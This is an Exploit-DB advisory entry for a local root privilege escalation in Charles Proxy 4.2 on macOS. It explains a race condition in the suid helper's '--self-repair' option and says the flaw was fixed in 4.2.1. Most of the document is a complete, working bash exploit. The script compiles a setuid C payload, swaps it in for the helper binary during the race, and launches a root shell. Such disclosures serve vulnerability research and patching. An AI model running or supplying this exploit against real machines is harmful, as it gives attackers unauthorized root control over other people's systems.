Charles Proxy 4.2 - Local Privilege Escalation

EDB-ID:

45107


Platform:

macOS

Published:

2018-07-30

Charles Proxy is a great mac application for debugging web services and
inspecting SSL traffic for any application on your machine.

In order to inspect the SSL traffic it needs to configure the system to use a
proxy so that it can capture the packets and use its custom root CA to decode
the SSL.

Setting a system-wide proxy requires root permissions so this is handled by an
suid binary located within the Charles application folder:

/Applications/Charles.app/Contents/Resources/Charles Proxy Settings

Unfortunately this binary is vulnerable to a race condition which allows a local
user to spawn a root shell. It supports a parameter "--self-repair" which it
uses to re-set the root+suid permissions on itself, with a graphical dialog
shown to the user. However if this is called when the binary is already
root+suid then no password dialog is shown.

It doesn't validate the path to itself and uses a simple API call to get the
path to the binary at the time it was invoked. This means that between executing
the binary and reaching the code path where root+suid is set there is enough
time to replace the path to the binary with an alternate payload which will then
receive the suid+root permissions instead of the Charles binary.

This issue was fixed in Charles 4.2.1 released in November 2017.

https://m4.rkw.io/charles_4.2.sh.txt
2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284
-------------------------------------------------------------------------------
#!/bin/bash

####################################################
###### Charles 4.2 local root privesc exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################

cd
user="`whoami`"

cat > charles_exploit.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o charles_exploit charles_exploit.c
if [ $? -ne 0 ] ; then
  echo "failed to compile the exploit, you need xcode cli tools for this."
  exit 1
fi
rm -f charles_exploit.c

ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings
./Charles\ Proxy\ Settings --self-repair 2>/dev/null &
rm -f ./Charles\ Proxy\ Settings
mv charles_exploit Charles\ Proxy\ Settings

i=0

while :
do
  r=`ls -la Charles\ Proxy\ Settings |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
  i=$((i+1))
  if [ $i -eq 10 ] ; then
    rm -f Charles\ Proxy\ Settings
    echo "Not vulnerable"
    exit 1
  fi
done

./Charles\ Proxy\ Settings